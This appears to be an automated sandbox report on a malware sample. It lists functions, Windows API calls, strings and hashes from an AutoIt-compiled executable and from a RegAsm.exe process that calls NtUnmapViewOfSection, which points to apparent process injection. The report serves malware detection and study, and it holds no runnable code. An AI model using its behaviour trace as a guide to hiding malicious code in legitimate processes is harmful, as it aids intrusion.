Instruction ID: 16eca0d19416fe9caf68003b0e033d31b061cfbd38ad7c4c675be8d3c5799f0a
Opcode Fuzzy Hash: 8f0e00d3d626a89cd07a9b56b3d4263b792d9a21f8f6e9a18b730e22637e0bcf
Instruction Fuzzy Hash: 805199306047019ADF20AF69E895A6AF3F5EF48311F74881FED96C72D1DA70D8489B35

Uniqueness

Uniqueness Score: -1.00%

Function 00D88AC0, Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00D88B4D

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 86b5ed7586c0eba78192f1baa34ebdc4dc65262b32ec84a461178f4a2fe3592e
Instruction ID: 2ac778af18e8b31319293a704e76bd0813e4a918661af2d797f096db8639b763
Opcode Fuzzy Hash: 86b5ed7586c0eba78192f1baa34ebdc4dc65262b32ec84a461178f4a2fe3592e
Instruction Fuzzy Hash: F63190B4640304BFEB24BB58CC85FA937A5EB85320FA84616FA55D62E0DE30F940A771

Uniqueness

Uniqueness Score: -1.00%

Function 00D8ADF1, Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00D8AE1A
GetWindowRect.USER32 ref: 00D8AE90
PtInRect.USER32(?,?,00D8C304), ref: 00D8AEA0
MessageBeep.USER32(00000000), ref: 00D8AF11

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 68c5cf6ae33c23ddbaf176d2acc3da3a48b3ac3afd29974545a4bf4934308ee9
Instruction ID: f40634233c174966af01869671e00fecc41b7dc8608259cf765878fa106e127c
Opcode Fuzzy Hash: 68c5cf6ae33c23ddbaf176d2acc3da3a48b3ac3afd29974545a4bf4934308ee9
Instruction Fuzzy Hash: 9741487060021A9FEB12EF5CC884A697BF5FF49350F1885AAF914DB351D730E801DB62

Uniqueness

Uniqueness Score: -1.00%

Function 00D36415, Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00D3644B
__isleadbyte_l.LIBCMT ref: 00D36479
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00D364A7
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00D364DD

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 6ad484fa60319dd55e0150d6a34d40a214db1faa112b958fe5ee9a706a11b4a4
Instruction ID: 7e197d0bca3613a7c25237524497843f82595a4e884095edb97028eb266d6da7
Opcode Fuzzy Hash: 6ad484fa60319dd55e0150d6a34d40a214db1faa112b958fe5ee9a706a11b4a4
Instruction Fuzzy Hash: 0331C131A0825ABFDB218F75CC45BAA7BA5FF41310F198429E8958B291D731D850DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D8C788, Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D02612: GetWindowLongW.USER32(?,000000EB), ref: 00D02623

GetCursorPos.USER32(?), ref: 00D8C7C2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00D3BBFB,?,?,?,?,?), ref: 00D8C7D7
GetCursorPos.USER32(?), ref: 00D8C824
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00D3BBFB,?,?,?), ref: 00D8C85E

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 860e0796ae185156fddf9d14091b65033d6374d0c113f3afba49a82fe97e3cc3
Instruction ID: 9b2326e1bea14da8d38ec700b2454a35a48f9d41070a86e9eb7d9e316fc7e5e2
Opcode Fuzzy Hash: 860e0796ae185156fddf9d14091b65033d6374d0c113f3afba49a82fe97e3cc3
Instruction Fuzzy Hash: BE315A35610118EFCB25DF59C898EEA7BBAEF49710F4841A9F9058B2A1C7319D50DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D01290, Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00D02612: GetWindowLongW.USER32(?,000000EB), ref: 00D02623

DefDlgProcW.USER32(?,00000020,?), ref: 00D012D8
GetClientRect.USER32 ref: 00D3B84B
GetCursorPos.USER32(?), ref: 00D3B855
ScreenToClient.USER32 ref: 00D3B860

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: f93d1139614850d1b04f30f00b4fa7cd6f5455028099717a5c2610fa4c058fd4
Instruction ID: 42816b84bab684e9942227626352b00fe597d222e76f923e15d30e4c9255ae59
Opcode Fuzzy Hash: f93d1139614850d1b04f30f00b4fa7cd6f5455028099717a5c2610fa4c058fd4
Instruction Fuzzy Hash: 04113A39910119EFCB00EFA8D88AAFE77B8FB05300F400456F945E7290D730BA519BB9

Uniqueness

Uniqueness Score: -1.00%

Function 00D01D35, Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00D01D73
GetStockObject.GDI32(00000011), ref: 00D01D87
SendMessageW.USER32(00000000,00000030,00000000), ref: 00D01D91

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 95289acb56860baa3f9fda77879609fd5a076605ef4f1e9a7871c0816948d6a1
Instruction ID: ec860f4f8dab9987be007ec8a14c2082a7706e82dcf33329052f90bb170a72f6
Opcode Fuzzy Hash: 95289acb56860baa3f9fda77879609fd5a076605ef4f1e9a7871c0816948d6a1
Instruction Fuzzy Hash: 69115B72511619BFEB128F90DC45FEA7B69FF09364F480115FA0992160D731DC60DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D8B57F, Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 00D8B59E
ScreenToClient.USER32 ref: 00D8B5B6
ScreenToClient.USER32 ref: 00D8B5DA
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,00000000), ref: 00D8B5F5

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 2108fa51d500029845b12ad34ca1ab2a2e729d09a9d21cf7f5e6ec0c32bc1d0a
Instruction ID: a611956d0828f1bc614eabc89e723d72b2d6ed408daf47a943e1e70d1f01d008
Opcode Fuzzy Hash: 2108fa51d500029845b12ad34ca1ab2a2e729d09a9d21cf7f5e6ec0c32bc1d0a
Instruction Fuzzy Hash: E61134B5D00209EFDB41DF99C4459EEBBB5FB08310F104166E954E2720D735AA558F60

Uniqueness

Uniqueness Score: -1.00%

Function 00D8B8EF, Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D8B8FE
_memset.LIBCMT ref: 00D8B90D
CreateProcessW.KERNEL32 ref: 00D8B93C
CloseHandle.KERNEL32 ref: 00D8B94E

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: dbe86b79af3224b036b46935f99a1e1c24a2129c17d3fa40c41890b0ba81a87b
Instruction ID: 81016ebad9203801c77367838163ae756e11906ca207d6ee2405e4d46cb844ff
Opcode Fuzzy Hash: dbe86b79af3224b036b46935f99a1e1c24a2129c17d3fa40c41890b0ba81a87b
Instruction Fuzzy Hash: C2F082B26443127BF2102B61AC85FBB3A5CEF09358F000029FB08D6392D7755D008BB8

Uniqueness

Uniqueness Score: -1.00%

Function 00D8C00C, Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00D012F3: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00D0134D
Part of subcall function 00D012F3: SelectObject.GDI32(?,00000000), ref: 00D0135C
Part of subcall function 00D012F3: BeginPath.GDI32(?), ref: 00D01373
Part of subcall function 00D012F3: SelectObject.GDI32(?,00000000), ref: 00D0139C

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00D8C030
LineTo.GDI32(00000000,?,?), ref: 00D8C03D
EndPath.GDI32(00000000), ref: 00D8C04D
StrokePath.GDI32(00000000), ref: 00D8C05B

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 580cd9477c41963608e351b35d26a9f38b732baae74c5d5b334db9405def187a
Instruction ID: 31f6a65072cc93269026cff76480038a250b2a41bac9ffe1268b7fc4853fed62
Opcode Fuzzy Hash: 580cd9477c41963608e351b35d26a9f38b732baae74c5d5b334db9405def187a
Instruction Fuzzy Hash: EDF0BE3101031AFBDB126F90AC0AFCE3F59AF05310F144000FA11A12E287758560DBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D02218, Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00D02231
SetTextColor.GDI32(?,000000FF), ref: 00D0223B
SetBkMode.GDI32(?,00000001), ref: 00D02250
GetStockObject.GDI32(00000005), ref: 00D02258
GetWindowDC.USER32(?,00000000), ref: 00D3C0D3
GetPixel.GDI32(00000000,00000000,00000000), ref: 00D3C0E0
GetPixel.GDI32(00000000,?,00000000), ref: 00D3C0F9
GetPixel.GDI32(00000000,00000000,?), ref: 00D3C112
GetPixel.GDI32(00000000,?,?), ref: 00D3C132
ReleaseDC.USER32 ref: 00D3C13D

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 8b15fbf20403c02aea7d5c3e9218f4b91e92330d1750e4f9d04e2623a1126f41
Instruction ID: 0d77ef5e0a2e5fb497786e019801048abced2e939429b670e90685a8f54f2a0f
Opcode Fuzzy Hash: 8b15fbf20403c02aea7d5c3e9218f4b91e92330d1750e4f9d04e2623a1126f41
Instruction Fuzzy Hash: 3BE06D32110344EADB215FB4FC0D7D83B14EB05732F148366FA69981E187724990DB31

Uniqueness

Uniqueness Score: -1.00%

Function 00D73CDD, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00D73D5A

Part of subcall function 00D07F41: _memmove.LIBCMT ref: 00D07F82

Strings

AUTOITCALLVARIABLE%d, xrefs: 00D73D4C
, $, xrefs: 00D73D9A

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: 5df38be0cd2ebfc85e838d986ed453cdaa94d6d9020b7a7df0533e090849ea72
Instruction ID: 327043438c306fd523749fe041f737e0eb1b4943bfcd0e878a2aeb5f7c18103f
Opcode Fuzzy Hash: 5df38be0cd2ebfc85e838d986ed453cdaa94d6d9020b7a7df0533e090849ea72
Instruction Fuzzy Hash: A9214471600219AECF20EF64CC92BEDB7A5FF44700F404495F949AB281D730EA45DBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D3B511, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00D3B564: _memset.LIBCMT ref: 00D3B571

Part of subcall function 00D20B84: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00D3B540,?,?,?,00D0100A), ref: 00D20B89

IsDebuggerPresent.KERNEL32(?,?,?,00D0100A), ref: 00D3B544
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00D0100A), ref: 00D3B553

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00D3B54E

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: 8335728106e22d5f7f9c2b6ba8b390fa920714334faaa931b4aad156f171d5f9
Instruction ID: 02da9e2bc0f782ad1fa5c54b9a223d3b9b45f60d4a6d2ec00f0a958e1fbf9d09
Opcode Fuzzy Hash: 8335728106e22d5f7f9c2b6ba8b390fa920714334faaa931b4aad156f171d5f9
Instruction Fuzzy Hash: 4BE065B02003118FD720DF69E804742BBE0AB10728F04892EE986C23A1EBB4E548CBB1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exe PID: 5908 Parent PID: 4720 RegAsm.exeCOMMON

Executed Functions

Function 02E6ACC8, Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL(?), ref: 02E6ACF6

Memory Dump Source

Source File: 00000001.00000002.516150230.0000000002E60000.00000040.00000001.sdmp, Offset: 02E60000, based on PE: false

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: cd5ebf35576a54facefccce814ea1688f22ed2c3fe5ae7bc5607ebcbc94a12cb
Instruction ID: 61be24567111273e66444fd6afb36b70a04c9f9af0c04b1a85916be6880d1232
Opcode Fuzzy Hash: cd5ebf35576a54facefccce814ea1688f22ed2c3fe5ae7bc5607ebcbc94a12cb
Instruction Fuzzy Hash: B7F03A31D84219CEDB258B24C8087E9BB71BB1934CF24E4E9D44DB6251CB708AC4CF00

Uniqueness

Uniqueness Score: -1.00%

Function 0127BA07, Relevance: 1.6, APIs: 1, Instructions: 98fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0127BABD

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9607a82845770dde7e680bbbf6f660b38f49a5bf12fe2bbb82b6a55131c0c453
Instruction ID: d69ea8446257d85696a40c34408363c2df2d101e103809dbe4f41983a26ba1ce
Opcode Fuzzy Hash: 9607a82845770dde7e680bbbf6f660b38f49a5bf12fe2bbb82b6a55131c0c453
Instruction Fuzzy Hash: A6319EB5504380AFE722CB25DC44F62BFE8EF06214F08849AEA848B252E371E509CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0127B5B1, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E90,9CD7CD99,00000000,00000000,00000000,00000000), ref: 0127B66C

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: f62777935c79713da77a68f4b324c7ed5653bb2fd37fc28c4c9cccd77972d552
Instruction ID: 5d621acc59c69f9edcfa08443a62094bb632385b389a3d83ee3c29ff3fd4a4f2
Opcode Fuzzy Hash: f62777935c79713da77a68f4b324c7ed5653bb2fd37fc28c4c9cccd77972d552
Instruction Fuzzy Hash: FE3193755097846FE722CB65CC84F93BFB8EF06310F08849AEA85CB153D264E549CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0127AA7A, Relevance: 1.6, APIs: 1, Instructions: 89synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNELBASE(?,?), ref: 0127AB21

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: a0602dd60837675d3da45f21c3e6335f61ec8d02095bfa5391ec602024f7dadb
Instruction ID: 1db56ed49dcfa82c1402be411855f461d95d4576640a717161e204686fc8fb6c
Opcode Fuzzy Hash: a0602dd60837675d3da45f21c3e6335f61ec8d02095bfa5391ec602024f7dadb
Instruction Fuzzy Hash: D73193B55097806FE712CB25DC85B56BFF8EF06210F08849AE984CF293D375E909C761

Uniqueness

Uniqueness Score: -1.00%

Function 0127B4BD, Relevance: 1.6, APIs: 1, Instructions: 86registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,00000E90), ref: 0127B569

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: f2d63242dff089c1811d4ea7614b7d4467fd2a25ddfd6b576c079ec20db58ffe
Instruction ID: 97baa9cc56aa79d2c294f0f1f7ffc478b3b84bec7d9f92c1e9eee86a9f528541
Opcode Fuzzy Hash: f2d63242dff089c1811d4ea7614b7d4467fd2a25ddfd6b576c079ec20db58ffe
Instruction Fuzzy Hash: D6218FB64083446FEB228B55DC84FA7BFFCEF05310F08899AFA859B152D675A508C761

Uniqueness

Uniqueness Score: -1.00%

Function 0127A468, Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

EnumResourceNamesW.KERNELBASE(?,00000E90,?,?), ref: 0127A502

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: EnumNamesResource
String ID:
API String ID: 3334572018-0
Opcode ID: b8b7bfb8eae5a60b8e0490a2e3992a2c8523edcf0c28bc4d8d50801bf924c6d6
Instruction ID: c59f51221fa5ccf170a4e13c37a6083c8dfb7013da6d845e13dadc4b1fad6f32
Opcode Fuzzy Hash: b8b7bfb8eae5a60b8e0490a2e3992a2c8523edcf0c28bc4d8d50801bf924c6d6
Instruction Fuzzy Hash: D52186764493C06FD3138B259C51B62BFB8EF47A14F0981DBE8848F553D225A91AC7B2

Uniqueness

Uniqueness Score: -1.00%

Function 0127BB14, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E90,9CD7CD99,00000000,00000000,00000000,00000000), ref: 0127BBA9

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: f76206a69d62df4a899b36618119be794ab33332e3b5791e23d028989b3d6f80
Instruction ID: cf7bc4e286aaea785f2074f2865a8506107e4991da53ce75640d0899c7a75969
Opcode Fuzzy Hash: f76206a69d62df4a899b36618119be794ab33332e3b5791e23d028989b3d6f80
Instruction Fuzzy Hash: 8621F8B64087846FE7128B259C40FA3BFB8EF46720F0884DAED848B153D224A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 0127BA3E, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0127BABD

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 80104384a19aa75bd1d32bb4ec0c6710b21a579d6e1d296f700e026abf6b7b91
Instruction ID: 2dd062f5946bdef4392f9ced2290427fe0c80fac18307a5f623cc66246c2c920
Opcode Fuzzy Hash: 80104384a19aa75bd1d32bb4ec0c6710b21a579d6e1d296f700e026abf6b7b91
Instruction Fuzzy Hash: 33218E75510640AFEB21DF69DD85B66FBE8EF08310F048469EE858B252E771E408CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0127BBE4, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E90,9CD7CD99,00000000,00000000,00000000,00000000), ref: 0127BC75

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 86f55eee8a5970a032e53673a736f00ea56d7027c1e7e1fd86f2608ac0314bc9
Instruction ID: 50eca953db461d0837f6bb558743f56b6fe9a77181b2575c84d733f6d17a2715
Opcode Fuzzy Hash: 86f55eee8a5970a032e53673a736f00ea56d7027c1e7e1fd86f2608ac0314bc9
Instruction Fuzzy Hash: 062162754093806FE7228B65DD44F56BFB8EF46314F08849EEA849F153C265A409CB61

Uniqueness

Uniqueness Score: -1.00%

Function 08060408, Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNELBASE(?,00000E90,?,?), ref: 0806049E

Memory Dump Source

Source File: 00000001.00000002.519928005.0000000008060000.00000040.00000010.sdmp, Offset: 08060000, based on PE: false

Similarity

API ID: FileNameTemp
String ID:
API String ID: 745986568-0
Opcode ID: b9e9bd3fc478049698f92c3ce881b80538796bcfb05307665f35d27d49aee2d0
Instruction ID: fbdb467dccc25014f7c832e1ff7361a9fa70c477464ad557ea3f0bd72ae0a620
Opcode Fuzzy Hash: b9e9bd3fc478049698f92c3ce881b80538796bcfb05307665f35d27d49aee2d0
Instruction Fuzzy Hash: 0D21B0754093806FD3128B25CC41B62BFB4EF87A20F0981EBED889B553D224A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 0127B4EA, Relevance: 1.6, APIs: 1, Instructions: 74registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,00000E90), ref: 0127B569

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 2c02ea956f20f60c9a2677bab76dba5d6f6d9512a28b0b01367cebcda88e652e
Instruction ID: 864f1d8ff815df8d73262aa4124040cffc1bf0e7d9524ba739ccba5da2e51865
Opcode Fuzzy Hash: 2c02ea956f20f60c9a2677bab76dba5d6f6d9512a28b0b01367cebcda88e652e
Instruction Fuzzy Hash: 6C21C3B2910204AFEB21DB59DC85FABFFECEF04710F14845AEE459B251D670E5088BB1

Uniqueness

Uniqueness Score: -1.00%

Function 0127B2FF, Relevance: 1.6, APIs: 1, Instructions: 74libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,00000E90), ref: 0127B39F

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c989d3deb8d139e599b903461ccba3d83e89d75b43d16d43c7031609a0ad923f
Instruction ID: f49d483267f5c788dc67821f6b89e316c9725e6f07a895e523af545dc6409120
Opcode Fuzzy Hash: c989d3deb8d139e599b903461ccba3d83e89d75b43d16d43c7031609a0ad923f
Instruction Fuzzy Hash: 6921F8754093846FE7128B15DC85B52BFB8DF02320F0880DAED849F193D268A949C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 0127AAAE, Relevance: 1.6, APIs: 1, Instructions: 72synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNELBASE(?,?), ref: 0127AB21

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
